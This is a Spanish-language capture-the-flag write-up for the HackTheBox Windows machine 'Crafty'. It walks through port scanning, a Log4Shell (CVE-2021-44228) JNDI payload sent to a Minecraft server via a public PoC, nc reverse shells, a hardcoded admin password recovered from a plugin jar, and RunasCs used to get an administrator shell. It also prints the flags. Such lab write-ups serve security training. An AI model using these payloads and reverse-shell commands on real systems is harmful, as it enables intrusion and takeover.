Crafty es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Crafty 10.129.198.17 a /etc/hosts como crafty.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.198.17 Nmap scan report for 10.129.198.17 Host is up, received echo-reply ttl 127 (0.042s latency). Scanned at 2024-02-10 22:11:10 GMT for 27s Not shown: 65533 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 127 25565/tcp open minecraft syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Feb 10 22:11:37 2024 -- 1 IP address (1 host up) scanned in 26.57 seconds |
Detectados los puertos abiertos, analizamos más en detalle los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nmap -sCV -p 80,25565 -oA enumeration/nmap2 10.129.198.17 Nmap scan report for 10.129.198.17 Host is up (0.15s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://crafty.htb 25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Feb 10 22:12:07 2024 -- 1 IP address (1 host up) scanned in 14.12 seconds |
Enumeración
Al acceder al portal web en el puerto 80 nos redirecciona al dominio crafty.htb mostrando la siguiente página web

En la misma nos indica que nos unamos al resto de jugadores en el portal situado en el dominio play.crafty.htb, así que lo añadimos al fichero hosts y accedemos, pero al acceder al mismo nos redirecciona al inicial así que vamos a enumerar este punto a ver que descubrimos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ feroxbuster -u http://crafty.htb/ -w /data/tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://crafty.htb/ 🚀 Threads │ 100 📖 Wordlist │ /data/tools/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 301 GET 2l 10w 145c http://crafty.htb/img => http://crafty.htb/img/ 200 GET 58l 150w 1826c http://crafty.htb/home 200 GET 1l 12w 2799c http://crafty.htb/js/firefly.js 200 GET 77l 234w 2159c http://crafty.htb/js/main.js 200 GET 35l 98w 1206c http://crafty.htb/coming-soon 200 GET 224l 434w 3585c http://crafty.htb/css/stylesheet.css 200 GET 105l 560w 43365c http://crafty.htb/img/vote.png 200 GET 102l 488w 43575c http://crafty.htb/img/logo.png 200 GET 131l 814w 68917c http://crafty.htb/img/forums.png 200 GET 204l 1117w 83278c http://crafty.htb/img/store.png 200 GET 58l 150w 1826c http://crafty.htb/Home 200 GET 43l 330w 179869c http://crafty.htb/img/favicon.ico 200 GET 58l 150w 1826c http://crafty.htb/ 301 GET 2l 10w 145c http://crafty.htb/css => http://crafty.htb/css/ 403 GET 29l 92w 1233c http://crafty.htb/css/ 403 GET 29l 92w 1233c http://crafty.htb/js/ 301 GET 2l 10w 144c http://crafty.htb/js => http://crafty.htb/js/ 301 GET 2l 10w 145c http://crafty.htb/IMG => http://crafty.htb/IMG/ |
No hay gran cosa por aquí así que vamos a google y encontramos los dominios en mcstatus, una página de chequeo del estado del servidor de minecraft
|
1 2 |
https://mcstatus.io/status/java/crafty.htb https://mcstatus.io/status/java/play.crafty.htb |
Si volvemos al escaneo inicial con nmap, vemos el puerto de minecraft y la versión del mismo
|
1 |
25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100) |
Y si buscamos la versión en google encontramos que es vulnerable a log4j
Para poder explotar la misma vamos a descargarnos las herramientas de mctools y probaremos a lanzar un ping
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ mcli crafty.htb ping +========================================================================+ # Pinging Minecraft server @ crafty.htb:25565 and retrieving stats ... # Retrieved stats! Response time: 36.19485499984876 milliseconds # Statistics: [description]: Crafty Server [players]: [max]: 100 [online]: 0 [version]: [name]: 1.16.5 [protocol]: 754 [time]: 36.19485499984876 |
Viendo esta parte vamos a necesitar conectarnos al servidor de minecraft, y para ello descargaremos la tool de pyCraft de github.
Una vez la tenemos instalamos requisitos
|
1 2 3 4 5 |
$ git clone https://github.com/ammaraskar/pyCraft.git $ cd pyCraft/ $ python3 -m venv env $ source env/bin/activate $ pip install -r requirements.txt |
Y la versión específica de jdk8
|
1 |
wget -c --no-cookies --no-check-certificate --header "Cookie: oraclelicense=accept-securebackup-cookie" https://download.oracle.com/otn/java/jdk/8u202-b08/1961070e4c9b4e26a04e7f5a083f551e/jdk-8u202-linux-x64.tar.gz |
Necesitaremos también una poc de log4j así que descargamos esta de github
En la poc necesitaremos cambiar la línea de la shell debido a que la máquina está en windows, así que cambiamos la línea siguiente
|
1 |
String cmd="/bin/sh"; |
Por esta otra
|
1 |
String cmd="cmd.exe"; |
Y ejecutamos (eliminaremos las \ del payload debido a que por protección no me deja incluir el payload completo en el post)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ python3 poc.py --userip 10.10.14.144 --webport 8000 --lport 4444 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true [+] Exploit java class created success [+] Setting up LDAP server [+] Send me: \$\{jndi:ldap://10.10.14.144:1389/a\} [+] Starting Webserver on port 8000 http://0.0.0.0:8000 Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true Listening on 0.0.0.0:1389 |
Levantamos nuestra escucha
|
1 2 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 |
Una vez tenemos esto conectamos al servidor y enviamos nuestro payload
|
1 2 3 4 5 6 7 |
$ python3 start.py Enter your username: 1 Enter your password (leave blank for offline mode): Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.129.198.17:25565 Connecting in offline mode... Connected. \$\{jndi:ldap://10.10.14.144:1389/a\} |
Y obtendremos una shell
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.198.17 49681 Microsoft Windows [Version 10.0.17763.5329] (c) 2018 Microsoft Corporation. All rights reserved. c:\users\svc_minecraft\server>whoami whoami crafty\svc_minecraft |
Obteniendo la flag de user
Vamos al escritorio del usuario y cogemos la flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
c:\users\svc_minecraft\server>cd .. cd .. c:\Users\svc_minecraft>cd desktop cd desktop c:\Users\svc_minecraft\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is C419-63F6 Directory of c:\Users\svc_minecraft\Desktop 02/05/2024 06:02 AM <DIR> . 02/05/2024 06:02 AM <DIR> .. 02/12/2024 07:03 AM 34 user.txt 1 File(s) 34 bytes 2 Dir(s) 3,257,868,288 bytes free c:\Users\svc_minecraft\Desktop>type user.txt type user.txt d8ff3b27ea7c426a97fd2aa89bc02a22 |
Escalado de privilegios
Una vez dentro revisamos la máquina y encontramos un fichero jar en la carpeta server/plugins del usuario
|
1 2 3 4 5 6 7 8 9 10 11 12 |
c:\Users\svc_minecraft\server\plugins>dir dir Volume in drive C has no label. Volume Serial Number is C419-63F6 Directory of c:\Users\svc_minecraft\server\plugins 10/27/2023 01:48 PM <DIR> . 10/27/2023 01:48 PM <DIR> .. 10/27/2023 01:48 PM 9,996 playercounter-1.0-SNAPSHOT.jar 1 File(s) 9,996 bytes 2 Dir(s) 3,257,868,288 bytes free |
Nos descargaremos el fichero .jar y lo analizaremos con jd-gui

Y en el mismo encontramos una password, así que con la ayuda de RunasCs ejecutamos una shell como admin
|
1 2 3 4 5 6 |
PS C:\temp> .\RunasCs.exe administrator 's67u84zKq8IXw' cmd.exe -r 10.10.14.144:446 .\RunasCs.exe administrator 's67u84zKq8IXw' cmd.exe -r 10.10.14.144:446 [+] Running in session 1 with process function CreateProcessWithLogonW() [+] Using Station\Desktop: WinSta0\Default [+] Async process 'C:\Windows\system32\cmd.exe' with pid 984 created in background. |
Y ya somos admin en el servidor
|
1 2 3 4 5 6 7 8 9 |
$ nc -nlvp 446 Listening on 0.0.0.0 446 Connection received on 10.129.206.161 49733 Microsoft Windows [Version 10.0.17763.5329] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami crafty\administrator |
Obteniendo la flag de root
Una vez escalados privilegios vamos a por nuestra flag
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
c:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. . Volume Serial Number is C419-63F6 Directory of c:\Users\Administrator\Desktop 02/05/2024 06:05 AM <DIR> . 02/05/2024 06:05 AM <DIR> .. 02/12/2024 05:50 AM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 1,520,160,768 bytes free c:\Users\Administrator\Desktop> type root.txt type root.txt 284a2398d0f804cabfebacbddc95384b |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










